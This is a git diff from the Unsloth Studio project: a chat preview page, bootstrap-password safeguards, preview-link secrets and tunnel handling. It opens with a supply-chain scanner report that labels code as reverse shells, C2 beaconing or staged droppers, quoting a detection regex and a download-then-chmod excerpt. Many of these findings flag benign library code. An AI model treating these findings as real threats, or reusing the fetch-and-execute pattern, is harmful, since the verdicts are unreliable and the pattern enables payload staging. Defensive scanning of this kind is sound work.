+      "evidence": "L3355:                     os.dup2(conn.fileno(), i) | L3387:                          \"test needs os.dup2()\") | L3405:             os.dup2(fd, newfd) | L19: import socket sha256:26a745abdc7e89da28ab943394234d8ccb415e805477c3cc1f7d4766341a4c4c",
+      "evidence_hash": "a6b9bb85e9bb6682ab0dea4f95fd9266e8802f118c76d86dd87f7ab5864872cf"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "scripts/scan_packages.py",
+      "check": "Writes to /tmp and executes (staged dropper)",
+      "severity": "CRITICAL",
+      "evidence": "L308:     r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", | L308:     r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", sha256:78268349021e21bedcd2eaaa5b4a71b0de1d52e023ada914dfdc09515ee1aad8",
+      "evidence_hash": "590fe1c96c442fbea5eb8642650257bc0b0199e919b9bacdb11dfa767b6fe839"
+    },
+    {
+      "package": "multiprocess",
+      "file": "multiprocess/tests/__init__.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L3521:                     os.dup2(conn.fileno(), i) | L3553:                          \"test needs os.dup2()\") | L3571:             os.dup2(fd, newfd) | L20: import socket sha256:07d2933301c0dbeeb6e42381687827d8dd7cfd7471986c559ca64283d5ae6e24",
+      "evidence_hash": "db1f4ca69865ec3911d7450fe11d212b817139deda21cd7a4ee32d547a8dc452"
+    },
+    {
+      "package": "fastapi",
+      "file": "fastapi/routing.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L586:                                 while True: sha256:bef9ea429314fad39e063895a37dc5cfe9b04561f3d1acbb3c99abb4e92e6cfe",
+      "evidence_hash": "b15773e1bc249713156a349278ea60f7c0e3dd7d537affe929ab51089e1942bb"
+    },
+    {
+      "package": "tensorboard",
+      "file": "tensorboard/plugins/projector/tf_projector_plugin/projector_binary.js",
+      "check": "Python wheel ships large JS bundle (uncommon; manually review)",
+      "severity": "HIGH",
+      "evidence": "sha256: 53c38430766be25dc672a30846ac3b9eba86aee35eb0746785ec012647c7d9a2",
+      "evidence_hash": "2c6384e8115a6d5dacf1f84d8f724832d8dc59feb442bb98ffae0857c0ccb381"
+    },
+    {
+      "package": "fastapi",
+      "file": "fastapi/routing.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L586:                                 while True: sha256:251135b5ebfdd1248916449f32262575e003ef64382501c65b7e4061d67bda45",
+      "evidence_hash": "365aef4449c8089753d9398417cd76ab762cef547d75db70d87bca9c0b550ab5"
+    },
+    {
+      "package": "fastmcp-slim",
+      "file": "fastmcp/cli/apps_dev.py",
+      "check": "Enumerates filesystem AND makes network calls",
+      "severity": "CRITICAL",
+      "evidence": "FS: L637:     history.replaceState(null, \"\", url); sha256:17068ba5bfed62c3a3007ec8bf3e0ea41ef6529b9e6112064d9afb3be9231436\nNetwork: L1304:     with httpx.Client(timeout=30.0) as client: | L1318:     with httpx.Client(timeout=30.0) as client: | L1348:     with httpx.Client(timeout=30.0) as client: | L1549:         client = httpx.AsyncClient(\nL1550:             timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1551:         ) | L1713:     async with httpx.AsyncClient(trust_env=False) as client: | L1781:                     with socket.socket(family, socket.SOCK_STREAM) as s:",
+      "evidence_hash": "e5325edfada6499540e6f0c24a0868979d275522e2b6a180aa9b5dd3280681b4"
+    },
+    {
+      "package": "huggingface-hub",
+      "file": "huggingface_hub/_sandbox.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L1179:             while True: sha256:33ceddf9e42aae207e891e97808c518e92a0b27ab60e4326256717bfb25a3a38",
+      "evidence_hash": "802fd41d8bb17bf425e99d128c0351c820103a5efb74690a4086e542a71437b8"
+    },
+    {
+      "package": "huggingface-hub",
+      "file": "huggingface_hub/_sandbox.py",
+      "check": "Writes to /tmp and executes (staged dropper)",
+      "severity": "CRITICAL",
+      "evidence": "L83: d=/tmp/.sbx-server\nL84: if command -v wget >/dev/null 2>&1; then wget -q --header \"Authorization: Bearer $SBX_DL_TOKEN\" -O \"$d\" \"$SBX_SERVER_URL\"\nL85: elif command -v curl >/dev/null 2>&1; then curl -fsSL -H \"Authorization: Bearer $SBX_DL_TOKEN\" -o \"$d\" \"$SBX_SERVER_URL\"\nL86: else cp \"$SBX_SERVER_MOUNT/sbx-server\" \"$d\"; fi\nL87: chmod +x \"$d\"",
+      "evidence_hash": "6908a3fe328fa94ee22a119998d6ad07cfa1ba4efa2628acf240f4204fd76e22"
+    },
+    {
+      "package": "huggingface-hub",
+      "file": "huggingface_hub/hf_api.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L4613:         while True: sha256:f764b6ca3118b23c7c0e670e77178c022a6905f825d7df6e528545fa10aae8f6",
+      "evidence_hash": "9c85d50c227285fa8dc69512999cbb082258cda4b299c7d0e0f69f5aff7accd4"
+    },
+    {
+      "package": "huggingface-hub",
+      "file": "huggingface_hub/utils/_http.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L462:     while True: sha256:c75d1ee228cf7703a8c28551d649395a1f89f69a3aba69413f5bbcbd10c31958",
+      "evidence_hash": "d4d5f83fed39b87898cf776d5dad0bf1a6388a932f5fb7997d1070b50e46213e"
+    },
+    {
+      "package": "cffi",
+      "file": "cffi/_cffi_gen_src.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L52:     compiled = compile(source=pysrc, filename=filename, mode='exec')\nExec: L53:     exec(compiled, globs, globs)",
+      "evidence_hash": "c429e4c977a61db6b7c717b5a552fce74eda622213e49eb5467a3782fd746fb9"
+    },
+    {
+      "package": "multiprocess",
+      "file": "multiprocess/forkserver.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L6: import socket sha256:6c707119169286c9a798e2c8d13a48614e481d8a503950916fd4ffb4c94d3182",
+      "evidence_hash": "50fec0f0522a8e4e636bf348b752002d7935d8455af31fb78c6f11e2eba19f6d"
+    },
+    {
+      "package": "multiprocess",
+      "file": "multiprocess/tests/__init__.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L3569:                     os.dup2(conn.fileno(), i) | L3601:                          \"test needs os.dup2()\") | L3619:             os.dup2(fd, newfd) | L20: import socket sha256:c824dc0f409f242420c3fbb324790c53cb3078d2c8b07ee8f2a05694b01c2946",
+      "evidence_hash": "3878a2b430c175dbc5877a95195bfe52f9588ff73fb74e2261ed5e33087915ad"
     }
   ]
 }
diff --git a/scripts/verify_import_hoist.py b/scripts/verify_import_hoist.py
index b8cb0573fe..22a21a2ebc 100644
--- a/scripts/verify_import_hoist.py
+++ b/scripts/verify_import_hoist.py
@@ -564,6 +564,12 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]]
     for n, tids in b["module_import_targets"].items():
         if tids & after_used:
             continue  # resolved -> fine
+        # `from __future__ import ...` is a compiler directive, not a runtime
+        # binding: the name (`annotations`, ...) is never loaded, so it can never
+        # "resolve" to a use. Skip it so a legitimately-added future import
+        # (e.g. `annotations` for lazy PEP 604 `X | None` on py3.9) is not flagged.
+        if all(t.startswith("from:__future__:") for t in tids):
+            continue
         newly_added = bool(tids - before_module_targets)
         was_used_before = bool(tids & before_used)
         if newly_added or was_used_before:
@@ -581,9 +587,30 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]]
             )
 
     # 3. TARGET-CHANGED (same scope+name resolves to a different import target)
+    #    Only a *swap* is dangerous: a BEFORE target that is no longer reachable in
+    #    AFTER means a reference was silently re-pointed. A pure superset growth
+    #    (tbefore <= tafter) is the benign `import pkg.subA` + `import pkg.subB`
+    #    case: both statements bind the same top-level name `pkg` to the same
+    #    package object and only *add* submodule attributes (e.g. adding
+    #    `import urllib.error` next to `import urllib.request`). Nothing the name
+    #    resolved to before is lost, so no reference is re-pointed -- skip it.
+    #
+    #    A deliberate *relocation* is also benign and must not block: when a name
+    #    keeps its spelling but its import source is moved A -> B in THIS diff (the
+    #    old `from A import x` is removed at module level and a new `from B import x`
+    #    is added), the swap is intentional, not a silent re-point to a pre-existing
+    #    different object. This mirrors the relocation tolerance already applied to
+    #    TARGET-MISSING. The dangerous case -- the name now resolving to a target
+    #    that already existed before (shadow/clash) -- is NOT exempted.
+    removed_module_targets = before_module_targets - after_module_targets
     for key, tafter in b["target_by_use"].items():
         tbefore = a["target_by_use"].get(key)
-        if tbefore and tbefore != tafter:
+        if tbefore and tbefore != tafter and (tbefore - tafter):
+            lost = tbefore - tafter
+            gained = tafter - tbefore
+            relocated = lost <= removed_module_targets and gained <= added_module_targets
+            if relocated:
+                continue
             findings.append(
                 (
                     "BLOCKER",
diff --git a/studio/Unsloth_Studio_Colab.ipynb b/studio/Unsloth_Studio_Colab.ipynb
index 00eecfe51d..619395bd6d 100644
--- a/studio/Unsloth_Studio_Colab.ipynb
+++ b/studio/Unsloth_Studio_Colab.ipynb
@@ -84,7 +84,7 @@
     "id": "277e431e"
    },
    "outputs": [],
-   "source": "import sys\nsys.path.insert(0, \"/content/unsloth/studio/backend\")\nfrom colab import start\nstart()"
+   "source": "import sys\nsys.path.insert(0, \"/content/unsloth/studio/backend\")\nfrom colab import start\n\n# Default: in-tab iframe only. start() blocks to keep the kernel alive.\nstart()\n\n# For a shareable Cloudflare link, replace start() above with:\n# start(cloudflare=True)"
   },
   {
    "cell_type": "markdown",
diff --git a/studio/backend/assets/configs/inference_defaults.json b/studio/backend/assets/configs/inference_defaults.json
index 1c7a409bc1..0633f80bbc 100644
--- a/studio/backend/assets/configs/inference_defaults.json
+++ b/studio/backend/assets/configs/inference_defaults.json
@@ -235,6 +235,13 @@
       "min_p": 0.1,
       "repetition_penalty": 1.0
     },
+    "deepseek-v4": {
+      "temperature": 1.0,
+      "top_p": 1.0,
+      "top_k": -1,
+      "min_p": 0.0,
+      "repetition_penalty": 1.0
+    },
     "deepseek-r1": {
       "temperature": 0.6,
       "top_p": 0.95,
@@ -394,7 +401,7 @@
     "phi-4", "phi-3",
     "mistral-nemo", "mistral-small", "mistral-large", "magistral", "ministral",
     "devstral", "pixtral",
-    "deepseek-r1", "deepseek-v3", "deepseek-ocr",
+    "deepseek-v4", "deepseek-r1", "deepseek-v3", "deepseek-ocr",
     "glm-5", "glm-4",
     "nemotron",
     "minimax-m2.7", "minimax-m2.5", "minimax",
diff --git a/studio/backend/assets/preview_page.html b/studio/backend/assets/preview_page.html
new file mode 100644
index 0000000000..36483a824c
--- /dev/null
+++ b/studio/backend/assets/preview_page.html
@@ -0,0 +1,403 @@
+<!doctype html>
+<html lang="en">
+  <head>
+    <meta charset="utf-8" />
+    <meta name="viewport" content="width=device-width,initial-scale=1" />
+    <title>__TITLE__ - Unsloth</title>
+    <style>
+      @font-face {
+        font-family: "Hellix";
+        src: url("/p/_assets/fonts/Hellix-Medium.woff") format("woff");
+        font-weight: 500;
+        font-display: swap;
+      }
+      @font-face {
+        font-family: "Hellix";
+        src: url("/p/_assets/fonts/Hellix-SemiBold.woff2") format("woff2");
+        font-weight: 600;
+        font-display: swap;
+      }
+      :root {
+        color-scheme: light dark;
+        --bg: #fefefd;
+        --fg: #0d0d0d;
+        --muted: #858279;
+        --border: #ececec;
+        --user-bubble: #f5f5f5;
+        --primary: #17b88b;
+        --composer-bg: #ffffff;
+        --composer-shadow: 0 2px 8px -2px rgba(0, 0, 0, 0.16);
+      }
+      @media (prefers-color-scheme: dark) {
+        :root {
+          --bg: #1a1b1e;
+          --fg: #ececee;
+          --muted: #96979b;
+          --border: #3a3d42;
+          --user-bubble: #2d2e32;
+          --composer-bg: #2d2e32;
+          --composer-shadow: none;
+        }
+      }
+      * {
+        box-sizing: border-box;
+      }
+      html,
+      body {
+        height: 100%;
+      }
+      body {
+        margin: 0;
+        background: var(--bg);
+        color: var(--fg);
+        display: flex;
+        flex-direction: column;
+        font:
+          15.5px/1.6 "Inter",
+          "Inter Variable",
+          -apple-system,
+          BlinkMacSystemFont,
+          "Segoe UI",
+          system-ui,
+          sans-serif;
+        -webkit-font-smoothing: antialiased;
+        -moz-osx-font-smoothing: grayscale;
+      }
+      .heading {
+        font-family: "Hellix", "Space Grotesk", system-ui, sans-serif;
+      }
+      header {
+        display: flex;
+        align-items: center;
+        gap: 9px;
+        padding: 14px 20px;
+      }
+      header img {
+        width: 22px;
+        height: 22px;
+        border-radius: 50%;
+      }
+      .brand {
+        font-family: "Hellix", "Space Grotesk", system-ui, sans-serif;
+        font-weight: 600;
+        font-size: 15px;
+      }
+      .model {
+        margin-left: auto;
+        max-width: 55%;
+        overflow: hidden;
+        text-overflow: ellipsis;
+        white-space: nowrap;
+        font-size: 12.5px;
+        color: var(--muted);
+      }
+      #log {
+        flex: 1;
+        overflow-y: auto;
+        display: flex;
+        flex-direction: column;
+        padding: 8px 16px 24px;
+      }
+      #thread {
+        width: 100%;
+        max-width: 46.5rem;
+        margin: 0 auto;
+        display: flex;
+        flex-direction: column;
+      }
+      .welcome {
+        margin: auto;
+        text-align: center;
+        padding: 0 16px;
+        animation: fade 0.25s ease-out;
+      }
+      .welcome h1 {
+        margin: 0;
+        font-weight: 500;
+        font-size: 30px;
+        letter-spacing: -0.02em;
+      }
+      .welcome p {
+        margin: 0.55rem 0 0;
+        color: var(--muted);
+        font-size: 14px;
+      }
+      .msg {
+        font-size: 15.5px;
+        font-weight: 450;
+        letter-spacing: 0.01em;
+        word-wrap: break-word;
+        white-space: pre-wrap;
+        animation: fade 0.15s ease-out;
+      }
+      .user {
+        align-self: flex-end;
+        max-width: 80%;
+        margin-top: 24px;
+        padding: 10px 16px;
+        border-radius: 24px;
+        background: var(--user-bubble);
+      }
+      .assistant {
+        align-self: stretch;
+        margin-top: 16px;
+        line-height: 1.75;
+      }
+      .dots {
+        display: inline-flex;
+        gap: 5px;
+        align-items: center;
+        height: 1.6em;
+      }
+      .dots i {
+        width: 6px;
+        height: 6px;
+        border-radius: 50%;
+        background: var(--muted);
+        animation: blink 1.2s infinite;
+      }
+      .dots i:nth-child(2) {
+        animation-delay: 0.18s;
+      }
+      .dots i:nth-child(3) {
+        animation-delay: 0.36s;
+      }
+      .composer-wrap {
+        padding: 6px 16px 16px;
+      }
+      form {
+        width: 100%;
+        max-width: 46.5rem;
+        margin: 0 auto;
+      }
+      .composer {
+        display: flex;
+        align-items: flex-end;
+        gap: 8px;
+        padding: 8px 8px 8px 18px;
+        border-radius: 28px;
+        background: var(--composer-bg);
+        box-shadow: var(--composer-shadow);
+      }
+      textarea {
+        flex: 1;
+        border: 0;
+        outline: 0;
+        resize: none;
+        background: transparent;
+        color: var(--fg);
+        font: inherit;
+        line-height: 1.5;
+        max-height: 200px;
+        padding: 8px 0;
+      }
+      textarea::placeholder {
+        color: var(--muted);
+      }
+      .send {
+        flex-shrink: 0;
+        display: flex;
+        align-items: center;
+        justify-content: center;
+        width: 36px;
+        height: 36px;
+        border: 0;
+        border-radius: 50%;
+        background: var(--primary);
+        color: #fff;
+        cursor: pointer;
+      }
+      .send:disabled {
+        opacity: 0.4;
+        cursor: default;
+      }
+      .foot {
+        margin: 9px auto 0;
+        max-width: 46.5rem;
+        text-align: center;
+        font-size: 11px;
+        color: var(--muted);
+      }
+      @keyframes blink {
+        0%,
+        80%,
+        100% {
+          opacity: 0.25;
+        }
+        40% {
+          opacity: 1;
+        }
+      }
+      @keyframes fade {
+        from {
+          opacity: 0;
+          transform: translateY(2px);
+        }
+        to {
+          opacity: 1;
+          transform: none;
+        }
+      }
+    </style>
+  </head>
+  <body>
+    <header>
+      <img src="/p/_assets/circle-logo-small.png" alt="" /><span class="brand"
+        >Unsloth</span
+      ><span class="model">__TITLE__</span>
+    </header>
+    <main id="log">
+      <div id="welcome" class="welcome">
+        <h1 class="heading">Chat with your model</h1>
+        <p>Fine-tuned with Unsloth</p>
+      </div>
+      <div id="thread"></div>
+    </main>
+    <div class="composer-wrap">
+      <form id="f">
+        <div class="composer">
+          <textarea
+            id="i"
+            rows="1"
+            autocomplete="off"
+            placeholder="Message this model..."
+          ></textarea>
+          <button id="b" class="send" aria-label="Send">
+            <svg
+              width="18"
+              height="18"
+              viewBox="0 0 24 24"
+              fill="none"
+              stroke="currentColor"
+              stroke-width="2.2"
+              stroke-linecap="round"
+              stroke-linejoin="round"
+            >
+              <path d="M12 19V5" />
+              <path d="M5 12l7-7 7 7" />
+            </svg>
+          </button>
+        </div>
+        <div class="foot">Served by Unsloth Studio</div>
+      </form>
+    </div>
+    <script>
+      const base = location.pathname.replace(/\/+$/, "");
+      // The capability token rides in ?k=; location.pathname drops it, so carry it
+      // onto the chat request explicitly. Not stored or logged.
+      const k = new URLSearchParams(location.search).get("k");
+      const chatUrl =
+        base + "/v1/chat/completions" + (k ? "?k=" + encodeURIComponent(k) : "");
+      const log = document.getElementById("log"),
+        thread = document.getElementById("thread"),
+        welcome = document.getElementById("welcome");
+      const form = document.getElementById("f"),
+        input = document.getElementById("i"),
+        btn = document.getElementById("b");
+      const msgs = [];
+      const down = () => {
+        log.scrollTop = log.scrollHeight;
+      };
+      function autosize() {
+        input.style.height = "auto";
+        input.style.height = Math.min(input.scrollHeight, 200) + "px";
+      }
+      input.addEventListener("input", autosize);
+      input.addEventListener("keydown", (e) => {
+        if (e.isComposing || e.keyCode === 229) return;
+        if (e.key === "Enter" && !e.shiftKey) {
+          e.preventDefault();
+          // send() (not form.requestSubmit, unsupported on Safari < 16) guards the btn.
+          send();
+        }
+      });
+      function add(role) {
+        const d = document.createElement("div");
+        d.className = "msg " + role;
+        thread.appendChild(d);
+        down();
+        return d;
+      }
+      async function send() {
+        // One path for button + Enter; ignore while a request is in flight.
+        if (btn.disabled) return;
+        const content = input.value.trim();
+        if (!content) return;
+        if (welcome) welcome.style.display = "none";
+        input.value = "";
+        autosize();
+        btn.disabled = true;
+        msgs.push({ role: "user", content });
+        add("user").textContent = content;
+        const out = add("assistant");
+        out.innerHTML = '<span class="dots"><i></i><i></i><i></i></span>';
+        let acc = "";
+        try {
+          const r = await fetch(chatUrl, {
+            method: "POST",
+            headers: { "Content-Type": "application/json" },
+            body: JSON.stringify({
+              model: "preview",
+              messages: msgs,
+              stream: true,
+            }),
+          });
+          if (!r.ok) {
+            out.textContent =
+              "Error " + r.status + ": " + (await r.text()).slice(0, 300);
+            msgs.pop();
+            input.value = content; // restore the prompt so the user can retry
+            autosize();
+            btn.disabled = false;
+            return;
+          }
+          const reader = r.body.getReader(),
+            dec = new TextDecoder();
+          let buf = "";
+          for (;;) {
+            const { value, done } = await reader.read();
+            if (done) break;
+            buf += dec.decode(value, { stream: true });
+            let i;
+            while ((i = buf.indexOf("\n")) >= 0) {
+              const line = buf.slice(0, i).trim();
+              buf = buf.slice(i + 1);
+              if (!line.startsWith("data:")) continue;
+              const data = line.slice(5).trim();
+              if (data === "[DONE]") continue;
+              try {
+                const j = JSON.parse(data);
+                const d =
+                  j.choices &&
+                  j.choices[0] &&
+                  j.choices[0].delta &&
+                  j.choices[0].delta.content;
+                if (d) {
+                  acc += d;
+                  out.textContent = acc;
+                  down();
+                }
+              } catch (_) {}
+            }
+          }
+          if (!acc) out.textContent = "";
+          msgs.push({ role: "assistant", content: acc });
+        } catch (err) {
+          // Keep any streamed text, flag the break, restore the prompt for retry.
+          out.textContent = acc ? acc + "\n\n[connection lost]" : "Network error, please retry.";
+          msgs.pop();
+          input.value = content;
+          autosize();
+        }
+        btn.disabled = false;
+        input.focus();
+      }
+      form.addEventListener("submit", (e) => {
+        e.preventDefault();
+        send();
+      });
+      autosize();
+      input.focus();
+    </script>
+  </body>
+</html>
diff --git a/studio/backend/auth/authentication.py b/studio/backend/auth/authentication.py
index 9dd56489eb..b13cd1c851 100644
--- a/studio/backend/auth/authentication.py
+++ b/studio/backend/auth/authentication.py
@@ -143,6 +143,17 @@ async def get_current_subject(credentials: HTTPAuthorizationCredentials = Depend
     )
 
 
+async def authenticated_via_api_key(
+    credentials: HTTPAuthorizationCredentials = Depends(security),
+) -> bool:
+    """True when the caller used an sk-unsloth API key, not a UI session JWT.
+
+    Lets routes treat programmatic API callers differently from the Studio UI
+    (e.g. refuse a teardown the UI would allow).
+    """
+    return bool(credentials and credentials.credentials.startswith(API_KEY_PREFIX))
+
+
 async def get_current_subject_allow_password_change(
     credentials: HTTPAuthorizationCredentials = Depends(security),
 ) -> str:
diff --git a/studio/backend/auth/bootstrap_timeout.py b/studio/backend/auth/bootstrap_timeout.py
new file mode 100644
index 0000000000..728433dc54
--- /dev/null
+++ b/studio/backend/auth/bootstrap_timeout.py
@@ -0,0 +1,145 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Auto-shutdown for an exposed first-run Studio whose admin password is unchanged.
+
+On a fresh install the seeded bootstrap admin password stays a valid login
+credential until first login changes it. When the web UI is put on the network
+(``--secure`` / ``0.0.0.0``) and nobody completes that first-login change within
+a deadline, tear Studio down so a fresh, unconfigured instance does not stay
+publicly reachable indefinitely. If the password was changed, Studio keeps
+running.
+
+Scope: web UI launches only (never ``--api-only``, which authenticates by API
+key rather than the admin password, and never Colab). Configurable via
+``UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT`` (seconds; default 3600; ``0`` disables).
+"""
+
+import os
+import sys
+import threading
+
+BOOTSTRAP_TIMEOUT_ENV_VAR = "UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT"
+DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS = 3600
+
+
+def bootstrap_timeout_seconds(env = None) -> int:
+    """Resolve the deadline in seconds. ``0`` (or invalid/negative) disables it.
+
+    A malformed value falls back to the default rather than disabling, so a typo
+    cannot silently remove the protection.
+    """
+    env = os.environ if env is None else env
+    raw = env.get(BOOTSTRAP_TIMEOUT_ENV_VAR)
+    if raw is None or raw.strip() == "":
+        return DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS
+    try:
+        value = int(raw)
+    except ValueError:
+        return DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS
+    return value if value > 0 else 0
+
+
+def _is_exposed_bind(host: str, secure: bool) -> bool:
+    """True when this launch puts the web UI on the network (tunnel or non-loopback)."""
+    if secure:
+        return True
+    if host in ("0.0.0.0", "::"):
+        return True
+    try:
+        from utils.host_policy import is_external_host
+    except Exception:
+        return False
+    return bool(is_external_host(host))
+
+
+def should_arm_bootstrap_timeout(
+    *,
+    host: str,
+    secure: bool,
+    api_only: bool,
+    frontend_served: bool,
+    is_colab: bool,
+    requires_change: bool,
+    timeout_seconds: int,
+) -> bool:
+    """Whether to arm the deadline: only for an exposed web UI whose seeded admin
+    password is still unchanged. Pure decision (no I/O) for cheap unit testing."""
+    if timeout_seconds <= 0:
+        return False
+    if api_only or not frontend_served or is_colab:
+        return False
+    if not requires_change:
+        return False
+    return _is_exposed_bind(host, secure)
+
+
+def _format_duration(seconds: int) -> str:
+    """Human-friendly duration for the shutdown message (seconds under a minute)."""
+
+    def _plural(n: int, unit: str) -> str:
+        return f"{n} {unit}{'' if n == 1 else 's'}"
+
+    if seconds < 60:
+        return _plural(seconds, "second")
+    minutes, rem = divmod(seconds, 60)
+    label = _plural(minutes, "minute")
+    if rem:
+        label += f" {_plural(rem, 'second')}"
+    return label
+
+
+def enforce_bootstrap_password_deadline(
+    storage,
+    trigger_shutdown,
+    *,
+    timeout_seconds: int,
+    logger = None,
+) -> bool:
+    """Deadline handler: shut down iff the seeded admin password is still unchanged.
+
+    Returns True if it shut Studio down, False if it left it running (the
+    password was changed in time).
+    """
+    try:
+        still_default = storage.requires_password_change(storage.DEFAULT_ADMIN_USERNAME)
+    except Exception:
+        return False
+    if not still_default:
+        return False  # password changed in time -> leave Studio running
+
+    message = (
+        "\nUnsloth Studio was exposed on the network but its default admin "
+        f"password was not changed within {_format_duration(timeout_seconds)}. "
+        "Shutting down to avoid leaving an unsecured public instance running.\n"
+        "Next time, sign in and change the password on first login, or set "
+        f"{BOOTSTRAP_TIMEOUT_ENV_VAR}=0 to disable this timeout."
+    )
+    if logger is not None:
+        logger.warning(message)
+    print(message, file = sys.stderr, flush = True)
+    try:
+        trigger_shutdown()
+    except Exception as e:  # shutdown is best-effort; never raise from the timer
+        if logger is not None:
+            logger.warning("Bootstrap-timeout shutdown failed: %s", e)
+    return True
+
+
+def arm_bootstrap_timeout(
+    storage,
+    trigger_shutdown,
+    *,
+    timeout_seconds: int,
+    logger = None,
+) -> "threading.Timer":
+    """Start a daemon timer that enforces the deadline. Returns the Timer."""
+    timer = threading.Timer(
+        timeout_seconds,
+        enforce_bootstrap_password_deadline,
+        args = (storage, trigger_shutdown),
+        kwargs = {"timeout_seconds": timeout_seconds, "logger": logger},
+    )
+    timer.daemon = True
+    timer.start()
+    return timer
diff --git a/studio/backend/auth/storage.py b/studio/backend/auth/storage.py
index 796d03ff68..a0da2b2096 100644
--- a/studio/backend/auth/storage.py
+++ b/studio/backend/auth/storage.py
@@ -110,6 +110,17 @@ def get_connection() -> sqlite3.Connection:
         except OSError:
             pass
     conn.row_factory = sqlite3.Row
+    # WAL lets token reads run concurrently with refresh-token writes;
+    # busy_timeout bounds lock waits. Matches the other Studio SQLite stores.
+    # Set busy_timeout first: switching journal_mode needs a lock, so if a
+    # refresh-token write already holds one, journal_mode=WAL raises SQLITE_BUSY;
+    # with busy_timeout already in effect it waits instead of failing and leaving
+    # this connection on SQLite's default zero lock wait.
+    try:
+        conn.execute("PRAGMA busy_timeout=5000")
+        conn.execute("PRAGMA journal_mode=WAL")
+    except sqlite3.Error:
+        pass
     conn.execute(
         """
         CREATE TABLE IF NOT EXISTS auth_user (
@@ -270,6 +281,63 @@ def compute_identity_proof(nonce: bytes, host: str, port: int) -> str:
     return hmac.new(get_or_create_identity_secret(), msg, hashlib.sha256).hexdigest()
 
 
+# Capability secret for public ``/p`` preview share links. HMAC(secret, ref)
+# turns the deterministic preview ref into an unguessable bearer capability, so a
+# guessed run/checkpoint name can't reach inference. Dedicated (not the per-user
+# JWT secret) so rotating it revokes every shared link without touching logins.
+_PREVIEW_LINK_SECRET_DB_KEY = "preview_link_secret"
+_preview_link_secret_cache: Optional[bytes] = None
+
+
+def get_or_create_preview_link_secret() -> bytes:
+    """Return the preview-link signing secret (hex 32-byte row in app_secrets), creating it once."""
+    global _preview_link_secret_cache
+    if _preview_link_secret_cache is not None:
+        return _preview_link_secret_cache
+
+    conn = get_connection()
+    try:
+        row = conn.execute(
+            "SELECT value FROM app_secrets WHERE key = ?",
+            (_PREVIEW_LINK_SECRET_DB_KEY,),
+        ).fetchone()
+        if row is None:
+            conn.execute(
+                "INSERT OR IGNORE INTO app_secrets (key, value) VALUES (?, ?)",
+                (_PREVIEW_LINK_SECRET_DB_KEY, secrets.token_hex(32)),
+            )
+            conn.commit()
+            row = conn.execute(
+                "SELECT value FROM app_secrets WHERE key = ?",
+                (_PREVIEW_LINK_SECRET_DB_KEY,),
+            ).fetchone()
+        secret = bytes.fromhex(row["value"])
+    finally:
+        conn.close()
+
+    _preview_link_secret_cache = secret
+    return secret
+
+
+def rotate_preview_link_secret() -> bytes:
+    """Rotate the preview-link secret, immediately revoking every outstanding ``/p`` share link."""
+    global _preview_link_secret_cache
+    new_secret_hex = secrets.token_hex(32)
+    conn = get_connection()
+    try:
+        conn.execute(
+            "INSERT OR REPLACE INTO app_secrets (key, value) VALUES (?, ?)",
+            (_PREVIEW_LINK_SECRET_DB_KEY, new_secret_hex),
+        )
+        conn.commit()
+    finally:
+        conn.close()
+
+    secret = bytes.fromhex(new_secret_hex)
+    _preview_link_secret_cache = secret
+    return secret
+
+
 _API_KEY_PBKDF2_ITERATIONS = 100_000
 DESKTOP_SECRET_PREFIX = "desktop-"
 _DESKTOP_SECRET_HASH_KEY = "desktop_secret_hash"
diff --git a/studio/backend/colab.py b/studio/backend/colab.py
index ba46c52a6a..dd274399bc 100644
--- a/studio/backend/colab.py
+++ b/studio/backend/colab.py
@@ -103,24 +103,132 @@ def show_link(port: int = 8888, *, _url: "str | None" = None):
     display(HTML(html))
 
 
-def _is_studio_healthy(port: int, timeout: float = 2.0) -> bool:
-    """Return True if a Studio backend is already answering health checks on *port*."""
-    import urllib.request
+def _bootstrap_password_pending() -> bool:
+    """True while the default admin still owes a bootstrap-password change.
+
+    While pending, main.py injects that password into same-origin GETs, and a public
+    tunnel GET (no Origin) reads as same-origin, so sharing the link would leak admin
+    access. Fails safe to pending if the state cannot be read.
+    """
     try:
-        with urllib.request.urlopen(f"http://localhost:{port}/api/health", timeout = timeout):
-            return True
+        from auth.storage import requires_password_change, DEFAULT_ADMIN_USERNAME
+        return bool(requires_password_change(DEFAULT_ADMIN_USERNAME))
+    except Exception as e:
+        logger.info(f"Could not check admin password state ({e}); refusing tunnel to be safe.")
+        return True
+
+
+def start_cloudflare_tunnel(port: int) -> "str | None":
+    """Open a shareable Cloudflare quick tunnel to localhost:*port*, or None.
+
+    run_server suppresses the tunnel on Colab by design, so we start it directly.
+    Refused while the bootstrap password is pending; any failure collapses to None
+    and the Colab proxy still works.
+    """
+    if _bootstrap_password_pending():
+        logger.warning(
+            "Cloudflare link not started: the admin account still has its temporary "
+            "bootstrap password, which is exposed to anyone who can load the page. "
+            "Open Studio in this tab, log in and change the admin password, then re-run "
+            "start(cloudflare=True) to get the shareable link."
+        )
+        return None
+    try:
+        from cloudflare_tunnel import start_studio_tunnel
+    except Exception as e:
